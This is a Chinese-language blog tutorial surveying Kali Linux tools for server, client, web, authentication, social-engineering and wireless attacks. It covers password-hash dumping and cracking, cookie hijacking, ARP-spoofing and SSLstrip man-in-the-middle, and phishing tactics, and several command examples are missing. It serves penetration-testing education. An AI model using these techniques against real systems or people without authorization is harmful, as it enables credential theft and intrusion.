Kali linux渗透测试之 五.渗透攻击
本文于2593天之前发表,文中内容可能已经过时。
一. 服务器端攻击
漏洞评估
服务器端攻击即找出并利用服务器上的服务、端口和应用程序中的漏洞。举个例子,Web服务器都有多个攻击途径(Attack Vector)。它会运行一个操作系统,并运行各种各样的软件来提供Web功能。它会有很多打开的TCP端口。这些途径中的每一个都有可能找出一个攻击者能利用的漏洞,攻击者可以借此潜入系统并获取有用的信息。服务器上的许多协议都是人类可读的为加密文本处理的。
在Kali中也带了较多用来找出服务器端漏洞的工具:
(1)Skipfish
Skipfish是一款Web应用安全侦查工具。Skipfish会利用递归爬虫和基于字典的探针生成一副交互式网站地图。最终生成的地图会在通过安全检查后输出。

有些字典可能在kali中找不到,你可以从https://code.google.com/p/skipfish下载。
如果要对某个目标网站使用定制字典,可以先输入Skipfish,然后用-w选项后跟字典文件的位置路径来选择字典,在其后再使用-o后跟位置路径来指定输出目录,最后是目标网站:
Skipfish -o <输出位置> -w <字典文件的位置> (目标网站)
(2)ProxyStrike
Proxystrike是一个Web应用代理,用来浏览应用时找出漏洞。它的运行机制跟代理类似,默认监听端口是8008端口,也就是说,你要对浏览器进行设置,使其运行时经过ProxyStrike。这样它才能在你的浏览目标网站时在后台分析所有参数。代理功能非常适合用来识别、拦截和修改请求的内容。

proxyStrik的爬虫功能用来扫描目标网站的SQL或SSL以及XSS的插件漏洞非常方便。你不要将ProxyStrike设置为代理就能使用爬虫功能。要在某个网站上和XSS插件一起运行爬虫功能,你可以点击“Plugins”标签,之后滚动到XSS插件,再勾选框中选中并启用该插件。然后,选中Crawler标签,输入http://目的网站URL,使用插件框来检查爬虫,然后点击它上面大大的Stop按钮,使其状态变为Running即可。添加这些插件会增加扫描需要的时间。Proxystrik会显示一个状态栏,在哪里会显示出扫描还要持续的时间。


(3)Vega
在Kali 2018(kali 2.0)系列中vega已经不存在了,需要自己动手安装

vega是一个安全测试工具,用来爬取一个网站,并分析页面内容来找到链接和表单参数。
如果要运行vega直接在终端输入vega即可:

在vega的右上角有一个Scanner和Proxy标签。要将Vega用作扫描器,点击右上角的Scanner标签,然后点左右脚的Scann开始新的扫描

之后会有对话框弹出,要求输入目标URL即可:

之后的扫描选择设置根据自己的目的进行设置即可!
(4)OWASP ZAP
OWASP ZAP也称为Zaproxy,是一个专门为Web应用的安全测试而设计的拦截代理。
你可以在终端输入“owasp-zap”来启动:

注:在这页面正式进入之前会有一个弹框,询问是否“创建一个SSL根CA证书。”这样Zaproxy就可以拦截浏览器总通过SSL传送的HTTPS数据。
对测试使用HTTPS的应用来说,这非常重要。要生成SSL证书,点击Generate按钮即可!
由于篇幅问题,所以在这里就不对OWASP-ZAP进行详细的介绍了,有机会我会在我的博客中的工具部分进行讲解其具体的使用方法。
(5)WebSploit
WebSploit是一个用来扫描和分析远程系统以找到漏洞的开源项目,在Kali 2018中需要自己安装

要开启websploit只需要在终端输入“websploit”即可:

你可以使用show modules来查看有哪些可以使用的模块:

如果要使用只需要在前面加上“use”即可,其使用方法与Metasploit很是相似。
漏洞利用
如果渗透测试人员在目标侦查阶段投入了足够的时间和资源,他很有可能就已经列出了有可能有漏洞的哪些目标。下一步就是评估每一个目标对你的任务的价值,并进行排序。可以评估对潜在漏洞的进行利用需要投入的精力,结合执行攻击时的连带风险一起考虑。Kali中自带的漏洞和漏洞利用工具非常适合对Web应用服务器进行侦查时找出和利用漏洞。
(1)Metasploit
Metasploit框架是进行服务器端攻击时一种最流行的功能工具,它也被认为是对渗透测试人员最有利的工具之一。介绍Metasploit的使用的部分在我的Metasploit系列学习中有详细的介绍,我在此处就不再过多的讲解了。
(2)W3af
w3af是Web Application Attack and Audit Framework(Web应用攻击和安全审计框架)的缩写。它是一个开源的Web应用安全扫描器和漏洞利用工具。
w3af在Kali2018中没有带,需要自己安装,安装方法请参考:
https://jingyan.baidu.com/article/c1a3101e710d84de656deb86.html
对于W3af的使用请参考本博主的工具系列文章!
利用电子邮件系统的漏洞
从本质上来说,所有的电子邮件系统都要接入互联网,接收来自外部的匿名访问,这样才能起作用。许多企业用户都会通过电子邮件发送机密信息。在大多数环境中,电子邮件服务器都会报存一些有价值的信息,这使得他们成为了攻击者的最高优先级目标。对使用者来说,好消息是只要正确配置了,现代电子邮件系统是极其难被抓住漏洞的。但这并不意味着电子邮件系统对攻击者来就是免疫的。大多数邮件系统都有Web应用,并可以通过Web界面访问。这提高了远程攻击者获取核心系统访问权限的可能性,攻击者可以利用它作为跳板,连接到内网的其他系统。
在我们将邮件系统作为目标之前,首先需要知道托管邮件服务器是什么系统。如果不知道这些信息,可以通过fierce来找出MX主机。在大多数情况下,MX主机就是SMTP服务器。
暴力破解攻击
暴力破解攻击是指对加密数据尝试所有可能的密文,知道找到正确的密文。从资源和时间占用角度来看,暴力破解攻击的成本极高。攻击者通常是看中了密文的长度限制和密文的简单性来对加密中的漏洞加以利用。如果密文通常是基于字典中的单词,那么这意味着攻击者需要测试的全部空间就是对应的词典中的所有单词,这使得猜测的范围远小于采用随机字符的单词。避免暴力破解攻击的最好方法就是使用很长的复杂密文,外加尝试多次后采用超时阻止等其他方法来提高安全因子。
常见的暴力破解攻击的工具有:
- Hydra(密码破解)
- DirBuster(目录枚举)
- WebSlayer(表单、post\GET参数)
破解密码
密码是用户在系统上认证身份最常用的方法。在对目标系统进行漏洞利用时,通常也能找出能够访问其他系统的密码。常见的密码破解工具有如下:
- John the Ripper
中间人攻击
在标准定义中,中间人攻击(MITM,Man-In-The-Middle)是指攻击者跟受害者分别建立独立链接的一种侵入式攻击方式。中间人攻击最常出现在主机系统之间。
SSL Strip
2009年,安全研究人员Moxie Marlinspike在DefCon上发布了SSL strip工具。他介绍了SSL会话劫持的基本概念,这是一种中间人攻击的形式。其中网络攻击者代理的是来自用户的HTTPs请求,而非可以被拦截和篡改的通过HTTP发送的请求。SSL Strip可以将这种攻击自动化,允许第三方拦截到安全站点的数据连接。随后,人们制定了HTTP严格传送协议(HSTS,HTTP strict Transport Security Speification)来应对这类攻击。但HSTS的部署进程非常慢。时至今日,SSL会话劫持攻击仍然广为使用。
这一部分关于SSL中间人攻击的内容自己可以在网络上找到好多的相关资料,我就不在这里啰嗦了!
二. 客户端攻击
客户端攻击
客户端(client)或主机(host)是指用来上网的终端设备,比如计算机、平板电脑或是移动设备。客户端可能会为其他客户端提供信息、服务及应用,或是从其他系统(比如服务器)获取信息。通常,属于客户端是指供人们使用的终端设备。然而,人的参与可能会引发一些了的漏洞。因此,客户端攻击这种方法就应运而生。由于它跟Web应用具有关联性,所以可以用来找出谁链接到了Web应用,系统上有哪些漏洞,以及这些系统是否可以成为从Web应用获取访问权限或信息的一种途径。
下面先会介绍如何通过社会工程来攻击主机。然后详细阐述如何在主机系统上找到漏洞,这样你就可以使用其他方法对漏洞进行利用了。
社会工程
社会工程师欺骗人们使其泄露信息的艺术。许多客户端攻击者都是据此来欺骗终端用户,使他们的系统暴露给攻击者。社会工程设计的范围很广,从拨打电话声称自己是某公司正式员工到在人人网上发个声称是某类服务的链接而实际上是欺骗客户的一种手段都是。
如果想要保障社会工程攻击能够成功,那么最佳的方式就是花时间充分的熟悉你的目标,也就是要学习用户是如何交流的,并尝试融入他们的环境。许多未能成功的社会工程学攻击都是因为采用通用的格式,而内容中没有能够吸引被攻击者用户的强有力的抓手,比如一些写的很糟糕的电邮总是声称获得了无人认领的奖金。
社会工程学攻击工具
这里我们就暂时不展开进行讲解了,到了后期我们会有一个专门关于社会工程学的讲解,到时候一定全面讲解。
获取和破解用户密码
根据定义,密码破解是指从计算机系统中存储或传送的数据中还原密码。密码是用来加固各类型系统的安全的。
获取密码最简单的方式就是通过社会工程学。
黑客破解密码的方式有:
- 猜测:通常使用收集到的与目标有关的信息进行人工猜测
- 字典攻击:使用自动化攻击,利用字典中所有可能的单词进行尝试
- 暴力破解:使用所有可能的字符组合来破解
- 混合模式:混合使用字典攻击和暴力破解
Kali中的密码破解工具
Kali提供了各种各样的工具来绕过密码安全。密码破解工具可以在密码攻击模块中找到,具体可以分为离线破解工具和在线破解工具本节将介绍在web应用渗透测试中危害主机系统的安全工具。
(1)Johnny
Johnny是流行的John the Ripper密码破解工具的一个图形化界面。同时Johnny也有命令行界面,Johnny有若干个引擎,这样他就可以破解不同类型的密码,包括加密过的密码和散列化处理过的密码。Johnny能够自动检测大多数散裂化的密码和加密过的密码,这点是的这个过程对渗透测试人员来说更简单。攻击者都喜欢这个工具,因为它的可定制性非常强,能以各种方式定制,以便于加快破解密码的速度。
John the Ripper按如下方式来工作:
- 尝试用攻击字典来破解密码;
- 尝试在字典单词的前面或后面添加上数字字符来破解
- 将字典单词放在一起进行攻击
- 将字母数字字符放到一起组成新的单词
- 在字典单词中混入特殊字符来进行攻击
- 当所有的ITA方法都失败了,尝试暴力破解

**Option:**选择攻击的类型
**Statistics:**显示某一个会话活动的时间
**Setting:**指定Johnny以何种方式运行
(2)hashcat和oclHashcat
hashcat 和oclHashcat是密码破解工具。oclHashcat是基于GPGPU的版本。hash/oclHashcat工具大多都是多线程工具。他们可以在单个攻击会话中并行处理多个散列和密码列表。hash/oclHashcat工具提供了多个攻击选项,比如暴力破解、密码合成、字典、混合、掩码和基于规则的攻击。
你可以在终端输入hashcat -h 来打开hashcat并查看其使用说明:

如果你要对一个文档进行hashcat,你可以输入:
hashcat [选项] 散列文件名 [单词文件|目录]
(3)samdump2
samdump2是一个用来转存微软的Windows中密码散列的SAM文件的工具,这样密码就可以用离线工具进行破解。对于较新版本的Windows,你可能需要借助其他工具来抓取SYSKEY(启动密文)文件,进而访问存在SAM数据库中的散列。

(4)chntpw
chntpw是Kali linux、BackTrack和其他linux发行版本中带有的一个工具。可以用它来重置Windows 8或早期的Windows版本中的本地密码,也可以修改Windows的密码数据库。不过,主要是用于在不知道密码的情况下入侵Windows系统。

使用说明如上所示
(5)Ophcrack
Ophcrack是一个机遇彩虹表的Windows密码破解器。Kali提供了一个命令行版本和一个图形化版本界面。Ophcrack可以从多种格式中导入散列,包括直接从Windows的SAM文件中直接转存。下面的截图显示的是可以直接加载到Ophcrack中的几种格式:

Ophcarack自带了彩虹表,如下面的例子所示。我们建议加载最新的彩虹表而不是默认的。彩虹表可以从在线资源中下载,比如开发者网站:http://ophcrack.sourceforge.net/tables.php
(6)Crunch
Crunch是一个用来生成密码列表的工具。如果你能够收集到有关目标如何创建密码的情报信息,那么这个工具会非常有用。举个例子,如果你抓去了两个密码并观察到目标都市用一个短语后跟随数字来作为密码,南无Crunch可以用来快速生成那个短语后跟所有可能的随机数字的密码列表。

Curnch有一些特殊标记字符,可以翻译成如下:
- @ :插入小写字符
- %:插入数字
- ,:插入大写字符
- ^ :插入符号
举个列子,假定我们已经知道目标在密码中用pass后跟两个不确定的字符。为了针对六位字符密码运行Crunch,我们会首先让pass后跟两位不确定的数字。可以用%%来代替任意数字。运行这个命令,并将输出放到一个名为newpasswordlist.txt的文本文件中,可用如下实例输入:

最后的字典内容为:

同理我们也可以根据以上的匹配规则来生成不同的字典序列。
Kali中的其他可用工具
Kali中也有其他有用的工具,我们只接受其中能够帮助危害主机系统、获取Web应用服务器的访问权限的工具。Kali中海油一些其他密码破解工具没有加到这个列表中;不过对这些工具的介绍不会在这里展开。
(1)Hash-idenifier
Hash-identifier(散列识别工具)是一个用来识别散列类型的基于python的工具。大多数密码破解工具如John the Ripper都自带了一个散列类型自动检测函数,这类函数都非常好用,在90%的情况下都是精确的。而这个工具可以用来手动验证某个散列类型。要使用Hash-identifier,可以运行这个工具,并粘贴你要识别的散列。

(2)findmyhash
findmyhash是一个免费的在线服务来破解密码的python脚本工具。在使用此工具时,你必须要先连接到Internet,之后你就可以根据题提供的使用说明进行破解密文了:

(3)CmosPwd
CmosPwd是用来破解BIOS的密码的。Cmospwd允许你擦除/清理、备份和恢复CMOS。

(4)creddump
creddump是一个python工具,用来从Windows的注册表中提取各种凭据和密码,creddump可以提取LM和NT散列(SYSKEY保护的)、缓存的域密码或LSA密码。
三. Web攻击
公司的安全管理员一般度知道因特网上有一些恶意群体,他们会持续不断的寻找对网络进行渗透的方式。作为防御,管理员要采取一些安全措施,常见的包括防火墙、IPS/IDS、基于主机的安全产品(如:反病毒程序)、内容过滤器等。过去,这些防御方式还足够用,不过现今威胁已经变的越来越复杂,甚至能绕过商业安全产品或“COTS”安全解决方案。本小节介绍的工具将会包含Kali LInux中的方法,用于绕过位于远程位置的标准安全防御措施。
浏览器漏洞利用框架:BeEF
浏览器漏洞可能会被各种恶意软件利用,篡改浏览器的预期行为。这些漏洞都是常见的攻击路径,因为大多数主机系统都会用到某种形式的Web浏览器应用。让我们一起看看一个用于利用浏览器漏洞的流行工具。
Beef是一个基于浏览器的漏洞利用包,它会“勾住”一个或多个浏览器作为发起攻击的滩头堡。攻击者可以通过让用户访问一个定制的URL来勾住用户,用户看到的依然是典型的web页面,而攻击者已经访问了用户的会话Beef绕过了网络安全部署和基于主机系统的反病毒程序,它瞄准的是常见的浏览器中找到的漏洞,比如IE和Firefox浏览器。
默认用户名与密码都是beef

至于Beef的使用我们在这里就不再展开说明了,有兴趣的话可以自己多找找相关使用说明。
总之,防御基于浏览器的渗透工具非常困难。最好的防御是保证所有基于浏览器的软件都被更新到了最新版本,打了安全补丁,并禁用了浏览器中的Flash和java。此外,能够检测常见的基于应用的威胁的安全解决方案可以多提供一层安全加固,如下一代入侵防御系统(NGIPS).如Beef等渗透工具的大多数受害者都是点击了伪装成可信团体的邮件或社交媒体访客中的链接的用户,而实际上这些链接都是用恶意链接、软件或代码等包装过的。
FoxyProxy(fireFox插件)
FoxyProxy是一款FierFox扩展,它允许你轻松的管理、修改、启用或禁用Firefox上的代理设置。你可以存Fierfox扩展库中下载FoxyProxy。
Burp代理
Burp代理是一款拦截HTTP和HTTPS浏览的工具,它允许渗透测试人员检查某一个应用、它的漏洞以及客户端和Web服务器之间的双向数据流。Burp代理非常流行,因为它不止能用来检查数据流,还可以用来篡改数据。
至于这一块内容我就不再多数了,这个是老生常谈的内容了,如果有什么疑问可以去我的博客中找相关的信息,里面有非常详细的介绍。

OWASP ZAP
这一个工具我们也不再过多的重复了,之前的内容中就已经提及过了,如果有不清楚的可以看看本节之前的内容,这里提出来知识想让大家明白这个工具的用途较为广泛,可以在web中大展身手。
Set
同理,Set我们在此处也不多说了,之后会在社会工程学那一块详细的介绍。
Fimap
Fimap是一款python工具,用于自动查找、准备、审计、利用和用谷歌搜索Web应用中的本地和远程文件包含Bug

fimap中有一些插件,你可以通过以下命令来安装:
fimap –install-plugins
要使用Fimap,首先你需要通过指定URL来确定你的目标,指定URL时他会有多种选项,你可以指定一个URL,或是用谷歌来获取一系列的URL,或是从其他URL中提取URL等方法。他如何处理表单和首部也会有多种选项。
拒绝服务工具(DDOS)
这部分内容较多,我们在此处不展开介绍,之后我会对这个系列设置一个分类,专门进行讲解词内容。
其他工具
Kali linux还提供了其他许多基于Web的攻击有用的工具,这里介绍一些在之前没有介绍到的工具
(1)DNSChef
DNSChef是一款为渗透测试人员和恶意软件分析人员准备的DNS代理。DNS代理也被称作“伪造DNS”,是一款用于应用网络流量分析以及其他场景的工具。
DNS是正对计算机、服务、或任何连接到英特网或私有网的资源的分布式命名系统。通过提供伪造DNS地址,我们可以将流量重定向到其他需要的位置。

(2)Siege
Siege是一款为Web开发人员设计的HTTP/HTTPS压力测试工具,用来测量高压情况下他们代码的性能。Siege提供了多线程HTTP负载测试和基准测试功能,他会根据可配置的兵法和模范用户的数据来对Web服务器进行测试。Siege有回归、英特网仿真和暴力等工作方式。

具体的使用方程参考以上说明即可。
四. 数据库攻击
这一块内容参见Kali linux渗透测试之 四.漏洞映射 诊断数据库漏洞
五. 身份认证攻击
身份认证
身份认证是确认信任某人的身份。它的含义可能会包含确认某个人、某个应用或是某个硬件的身份,比如验证Alex是政府的雇员,以及他的笔记本电脑是由政府机构颁发的。作为渗透测试人员,通过已授予的实体获得系统的信任、绕过安全认证部分非常有用。
CISSP将身份认证按三个因子归类如下:
- 你知道的,比如PIN或密码
- 你拥有的,比如智能卡
- 你是谁,比如指纹
最常用的确认身份的方式是通过人们知道的内容,比如密码。之前已经对各种密码的破解方法进行了详细的介绍。你能够通过破解密码获得一系列的访问权限,不过许多系统都是用了多个因子的身份认证,也就是说证明某人身份时需要多个认证步骤。
攻击会话管理
身份认证和会话管理涵盖了处理用户身份认证和管理活动的方方面面。对Web应用来说,会话就是用户在某个网站上花费的时间。最佳实践是基于用户和设备是如何通过身份认证的来管理已通过身份认证的会话(也就是,允许你访问哪些内容),同时也要控制会话活动期间哪些资源可以用,可以用多久等。这使得身份认证成为管理授权会话的关键过程。
渗透测试人员的目标是找出具有高权限的允许访问特点资源的账户,并且范围Web应用的时间不受限制。这也是为什么要创建会话管理的安全功能,如会话超时时间和SSL证书的主要原因。不管怎么说Kali中带有的工具可以找出会话管理中的漏洞。比如截获web应用中发送用户退出登录请求的活动会话,然后将那个会话给另外一个人用。这种攻击也称为会话固定攻击。
会话管理攻击可能会出现在利用了应用中的漏洞或是用户如何访问这些应用和进行身份验证的过程中的漏洞时。攻击者攻击的常见方式是对Web服务器进行跨站脚本攻击或是SQL注入攻击。攻击者还可能回利用浏览器中的会话Cookie,或是网页中的漏洞来达到类似的结果。
点击劫持
点击劫持是欺骗用户点击其他东西而不是他们认为正在点击的东西的一种技术。点击劫持可用来显示机密信息,比如登录凭证,也可以用来帮助黑客控制受害者电脑。点击劫持通常会通过嵌入受害者不知情的代码或脚本来揭露Web浏览器的安全问题或是漏洞。执行点击劫持的一个例子是将超链接文本指向一个手信任的站点,而并非真实的站点。普通用户并不会在点击前验证超链接,或是注意到跟常见的点击劫持意图相关的变更,这使得点击劫持成为非常有效的攻击形式。
点击劫持的危害性可能会更大更复杂,而不只是修改超链接这样简单一般使用点击劫持的攻击者会在网页嵌入Iframe。Iframe的内容会包含从目标网站上获取的数据,兵器通常会放到合法的链接上面,是的它很难被发现。
劫持Web会话的CooKie
Cookie是从网站发出来的小块信息快,在用户访问网站时存储到用户的Web浏览器中。网站可以用Cookie来验证该用户是不是再次访问该站点,并且可以取回用户之前活动的详细信息。这些信息包括网页是如何被访问的、用户是如何登陆的,以及用户点击了哪些按钮。不管你什么时候登陆网站、比如Facebook、WordPress,浏览器都会给你分配一个Cookie。
Web会话工具
(1)Firefox插件
firefox浏览器提供了许多可以用来将窃取的Cookie注入到攻击者浏览器的插件。其中一些例子包括GreaseMonkey、Cookie Manager、Firesheep。这些插件根据自己的用途自我选择即可。
(2)Wireshark
Wireshark是最流行的免费开源网络协议分析工具之一。Wireshark在Kali中已经安装了,是理想的网络问题排查和分析工具。在本节中,它是用作检测发自目标来截获会话令牌的最佳工具。Wireshark使用GTK+组合工具集来实现他的用户界面,用pcap来进行包住区。他跟tcpdump命令的工作原理非常相似。不过它的作用是带有继承的排序和过滤功能的图形化界面。
对于wireshark的使用,可以参考本博主的wireshark系列自我查询需要的内容,此处就不再多说了。
(3)Hamster和Ferrt
Hamster是一款用于通过HTTP会话劫持窃取Cookie的工具,它使用的是被动嗅探,也称为旁路劫持(sidejacking)。Hamster会窃听网络上的数据,抓取所有可见的会话Cookie,然后将窃取的Cookie导入到浏览器的GUI中,这样攻击者就能回放该会话。Hamster使用Ferret来抓取会话Cookie。
在启动Hamster时,它会打开一个终端来启动Hamster服务。默认的代理IP地址是127.0.0.1:1234

你可以通过打开一个浏览器并且将其指向http://127.0.0.1:1234来访问Hamster。

网络数据要完成它的功能必须流经Hamster。你可以选择点击适配器链接来选择你要使用的网卡。这里我们检测的网卡是eth0

Hamster会见你重定向到一个劫持活动页面。你会注意到你并没有收到任何数据包。Hamster需要一个嗅探器来抓取网络数据包。你可以通过Ferret来实现。
在kali 2018中没有,需要自己安装“apt-get install ferret”
打开Ferret之后输入”ferret -i 网卡名 “来选择你要锦绣嗅探的网卡。Ferret会告诉你正在嗅探,该命令行提示符会悬停在运行状态。在你查看网络数据的同时,在Ferret中抓取的网络数据包会显示成文本。
当Ferret运行起来之后,你会在Hamster中看到你相应的数据包信息。
中间人攻击
中间人攻击是一种主动窃取的只用形式。其中攻击者会更受害者建立一个连接,并在受害者之间中转信息,使他们以为他们正在跟对方通话一样。这类攻击有许多形式,比如使用Hak5的菠萝型无线路由器并将其伪装成一个可信的网络接入点,而实际上扮演的是受害者和无线网络之间的中间人。另一个例子就是使用Kali来在受害者和默认路由器之间转发网络数据,而同时嗅探者有用的信息,比如登录凭证等。
注:许多云服务比如Facebook和Gmail都通过HTTPS来实施安全登录,这能够防止普通的中间人攻击。要绕过HTTPS,你可以使用SSLstrip工具。它能够显示所有可用于你的中间人攻击的登录信息。SSLstrip/中间人攻击组合是窃取受害者登录凭据的一个非常有效的方式,如果你有跟目标系统处于同一网络中的攻击系统的话。
dsniff和arpspoof
dsniff是一组密码嗅探和网络数据分析工具,用于解析不同的应用协议和提取相关信息。arpspoof用于帮助攻击者向本地网络发送伪造的地址解析协议(ARP)消息。这样做的目的就是要将攻击者的MAC地址和其他主机的IP地址关联起来,从而将发往该IP地址的网络数据都发送给攻击值。
一个人进行中间人攻击的方法是将Arpspoof和dsniff用在系统间。
第一步就是找出受害者的IP地址和网络的默认网关。找出IP地址之后,你需要告诉受害者你真的是另一个系统或者默认网关。举个例子,如果受害者A的IP地址是192.168.11.4,默认网关的地址为192.168.11.1,攻击者的地址为192.168.11.145,你应该使用arpspoof命令将你那个145的ip地址设置的看起来像是受害者的和默认网关的。
Ettercap
Ettercap是一个用于基于中间人方式的攻击的免费的开源综合工具套件。
Ettercap可用于计算机网络协议分析和安全审计,它的功能有嗅探活动的链接、内容过滤、以及对多种协议的主动和被动解析的支持。Ettercap通过将攻击者的网卡设置为昏则模式以及对受害者的机器进行ARP污染来工作。
具体的使用,在此处就不做多于的介绍了。
其他工具
- urlsnarf
- acccheck
- hexinject
- Patator
- DBPwAudit
以上的其他工具就不多做介绍了,自我根据提示说明使用即可!
六. 社会工程学攻击
社会工程学
社会工程学是利用人性的弱点体察、获取有价值信息的实践方法,它是一种期盼的艺术。在缺少目标系统的必要信息时,社会工程学技术是渗透测试人员获取信息的至关重要的手段。对于素有类型的组织而言,人都是安全防范措施李最为薄弱的一个环节,也是整个安全基础设施最脆弱的层面。
从安全的角度来看,社会工程学是以获取特定信息为目标的操纵他人的有力武器。很多单位都使用社会工程学的方法来进行安全评估,以考核雇员的安全完整性,并通过这种方法调查工作流程和人员方面的安全弱点。需要注意的是,社会工程学是种很常见的技术,可以说各种人员都会使用这种技术。无论是渗透测试人员还是诈骗专家、身份窃贼、商业合作伙伴等。
攻击过程
社会工程学工程师通常会采用这些方法来有效获取目标的有关信息和访问权限:
(1)情报收集:多种技术都可以用于找到最容易攻破的渗透测试目标。例如,我们可以采用高级搜索工具收集被测试公司员工的Email地址;通过社交网络收集被测单位员工的个人信息;识别被测单位组织使用的第三方软件包;参与他们的经营活动、社交活动和参加会议等等。以这些方提供的情报,能够准确的退测出社会工程学意义上的“线人”。
(2)识别漏洞:一旦选定了关键线人,接下来就开始与对方建立信任关系和友谊。这样就可以在不伤害、不惊动目标的情况下,截获被测单位的机密信息。保持行动的隐蔽性和保密性,对于整个过程来说至关重要。另外,也可以调查被侧单位是否使用了旧版软件,继而通过恶意的E-mail或 Web内容,利用软件漏洞感染当事人的计算机。
(3)规划攻击
你可以对目标采取直接了当的攻击方式,也可以利用电子辅助技术被动攻击目标。以这些挖掘出来的情报入口着手,我们恶意轻松的拟定攻击路径和攻击方法。例如:被测单位的客户服务代表Bob和我们的关系很好,他还信任我们;他就恒友可能在计算机上执行我们发送的E-mail附件,这种攻击不需要高级管理人员的任何事前授权。
(4)执行攻击:社会工程学攻击的最后一步是执行攻击计划。此时,我们应该保持足够的信心和耐心,主动监控和评估工作的成果。完成这一步之后,社会工程师掌握了充分的信息,甚至可以范围被测单位的内部系统,这些成果足以让他们进一步地渗透被测试的单位。在成功执行攻击计划之后,社会工程学的攻击就可宣告结束。
攻击方法
(1)冒名顶替
攻击人员常常假装成他人以获得对方的信任。例如,在获取目标人员的银行信息方面,只要目标人员是哟E-mail,我们就可以进行钓鱼攻击。这种攻击属于近乎完美的攻击方案。当决定使用钓鱼攻击之后,攻击人员要大量的收集牧宝人员用过的E-mail地址,然后伪造出于原银行解密一样的网页界面,以诱骗目标人员。
完成了一上准备之后,攻击人员会草拟并发送一份正式行文的E-mail(例如:银行账户更新通知)。这些E-mail看上去就像真正的银行发出来的邮件。要去目标人员访问某网址更新账户信息。不过,邮件提到的网址将把目标人员提交的信息转发给攻击人员。攻击人员事先掌握了特定的Web技术,他们使用多种先进的工具(例如SSLstrip)就可以通过自动化手段轻松的又掉地到达预定的任务。
(2)投桃报李
通过利益交换的方式达成双方各自利益的行为,成为投桃报李。这类攻击需要长期业务合作达成的非正式关系。利用公司之间的信任关系,可以轻松的获取特定信息的目标人员。
(3)狐假虎威
冒充目标单位业务负责人的身份从而干预正常业务的做法就是狐假虎威。有些人认为,这种攻击方式属于冒名顶替的一种特例。人们会本能的出于下意识的接收权威或者高级管理人员的知识,这个时候他们会无视自己否定性的直觉。这种天性使我们容易在特定的威胁面前毫无抵抗力。
(4)啖以重利
人们常常说“机不可失”,他们特别关注所谓机不可失的宝贵机会。这些想法都是人性贪婪的一面写照。啖以重利的方法李永利人们个球谋利机会的贪婪心理。
(5)社会关系
作为人,我们需要某种形式的社会关系,以分享思想、感情、想法。社会关系最容易受攻击的部分是“性”。多数情况下,异性总是吸引。由于这种强烈的感情和信任的错觉,人们可能在不经意间向对手透露信息。很多线人的社交门户网站都提供了见面和聊天的服务,以促进用户间的社交交际。
Social Engineering Toolkit(SET)
SET是一款先进的多功能的社会工程学计算机辅助工具集。可以行之有效的用客户端应用程序的漏洞获取目标的信息(例如E-mail).SET可以实现多种非常有效且使用的攻击方法。其中,人们最常用的方法有:用恶意附件对目标进行E-mail钓鱼攻击、Java Applet攻击、基于浏览器的漏洞攻击、收集网站认证信息、建立感染的便携媒体、邮件群发等攻击。它是实现这些攻击方法的合成攻击平台。充分利用这个程序的极具说服力的技术,可对人的因素进行深入测试。

至于SET的使用要结合具体场景,这里就不演示了,在设置时只需要根据所给的选项与提示完成配置就好。
七. 无线网络攻击
鉴于移动设备的主导地位和提供即时网络连接的需要,无线网络已成为互联网上无处不在的接入点。不幸的是,无线接入在提供便利性的同时,也带来了盗窃访问、盗窃数据,以及网络资源拒绝服务等有效攻击。Kali提供了多种用于配置工具和发启无线攻击的工具,使组织机构能够提高其安全性。
1. 配置Kali实现无线攻击
Kali Linux几个工具的发布使无线网络的测试变得很容易;然而,这些攻击需要大量的配置,以达到充分有效。除此之外,测试人员在实施攻击或审计无线网络之前,应该拥有丰富的无线网络背景。
在无线安全测试中,最重要的工具是无线适配器,它连接到无线接入点。它必须支持所使用的工具,尤其是aircrack-ng工具的组件;特别是,该卡的芯片和驱动器必须具备向通信流注入无线数据包的能力。这是侦察、攻击的要求,必须在目标和受害者之间注入特定类型的数据包。所注入的数据包可能会引起拒绝服务攻击,允许攻击者获取破解加密密钥或支持其他无线攻击所需要的信号交换数据。
aircrack-ng网站(www.aircrack-ng.org) 包含一个已知的兼容的无线适配器列表。
在Kali中使用的最可靠适配器是ALFA NETWORK cards,尤其是AWUS036NH适配器,它支持无线802.11b、802.11g和802.11n协议。Alfa cards已在现有网络中使用,并支持Kali的所有测试和攻击。
2. 无线侦察
实施无线攻击的第一步是进行侦察——它可以识别准确的目标接入点,并高亮度显示可能影响测试的其他无线网络。
如果你使用连接USB的无线网卡连接到Kali虚拟机,确保USB连接已经断开主机操作系统,并通过单击USB连接图标连接到VM虚拟机,如下图所示,箭头所指即USB连接图标。

USB连接图标
接下来,通过运行命令行中的iwconfig命令,确定哪些无线接口是可用的,如下图所示。

确定可用无线接口
对于某些特定攻击,你可能希望增加适配器的输出能力。如果你是一个合法的同位无线接入点,这是特别有用的,和你想要的目标连接在你的控制之下的虚假的接入点,而不是合法的接入点。这些虚假或者流氓(rogue)接入点,允许攻击者截获数据,并根据攻击的需要查看或更改数据。攻击者频繁复制或克隆合法的无线网站,然后增加其相对合法网站更强的传输能力,来作为吸引受害者的诱饵。使用如下命令增加传输能力:
使用aircrack-ng及其相关工具可以执行许多攻击。首先,我们需要拦截或监控无线传输;因此,我们需要使用airmon-ng命令,为监控模式(monitor mode)设置拥有无线功能Kali通信接口:
前面命令的执行结果如下图所示。

使用airmon-ng命令
注意,返回的描述表明有些进程可能会造成麻烦。处理这些进程最有效的方法是使用综合性的kill命令,如下所示:
使用以下命令查看本地无线环境:
前面的命令,列出了特定时间点可以在无线适配器范围内找到的所有已识别的网络。它提供由MAC地址识别的无线网络节点的BSSID基本服务集标识符,标明了相对的输出能力、数据包发送的信息、包含使用通道和数据的带宽信息、使用的加密信息,以及提供无线网名称的ESSID。相关信息如下图所示,非必需的ESSID标识符已经被模糊。

显示ESSID标识符
airodump命令通过可用的无线信道循环执行,并确定了以下几点:
- 基本服务集标识符(Basic Service Set Identifier,BSSID),它是唯一的可以标识无线接入点或路由器的MAC地址。
- 每个网络的PWR或电源。尽管airodump-ng错误地显示功率为阴性,但这是一个假象的报告。为了获取正确的正值,接入终端并运行airdriver-ng unload36,然后运行airdriver-ng load35。
- CH显示了用于广播的频道。
- ENC显示使用的加密技术——它是OPN,或开放的、没有加密,或者WEP或WPA/WPA2(如使用加密)。加密(CIPHER)和身份验证(AUTH)提供额外的加密信息。
- 扩展服务集标识符(Extended Service Set Identifier,ESSID)是由拥有相同SSID或名称的接入点组成的无线网络的名称。
在终端窗口的下半部分,你将看到站点试图连接或已经连接到无线网络。
